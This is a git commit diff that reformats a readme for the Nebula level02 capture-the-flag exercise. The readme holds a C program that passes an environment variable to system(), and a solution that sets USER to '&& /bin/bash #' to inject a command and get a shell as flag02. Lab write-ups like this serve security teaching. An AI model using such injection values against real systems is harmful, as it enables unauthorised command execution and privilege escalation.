Commit 5693c39

bryfry <bryon@fryer.io>
2016-09-28 10:00:09
writeup leve02
1 parent 3b423c9
Changed files (1)
exploit_exercises
nebula
level02
exploit_exercises/nebula/exercise-2/readme.md → exploit_exercises/nebula/level02/readme.md
@@ -1,12 +1,13 @@
+# About
 
-----------------------------------------------
-
-About
-Source code
 There is a vulnerability in the below program that allows arbitrary programs
 to be executed, can you find it?
 To do this level, log in as the level02 account with the password
 level02. Files for this level can be found in /home/flag02.
+
+# Source code
+
+```
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
@@ -33,3 +34,11 @@ int main(int argc, char **argv, char **envp)
   
   system(buffer);
 }
+```
+
+# Solution
+
+Avoid reading the solution until you have succeeded or are stuck.
+
+* `level02@nebula:/home/flag02$` `USER="&& /bin/bash #" ./flag02`
+* `flag02@nebula:/home/flag02$` `getflag`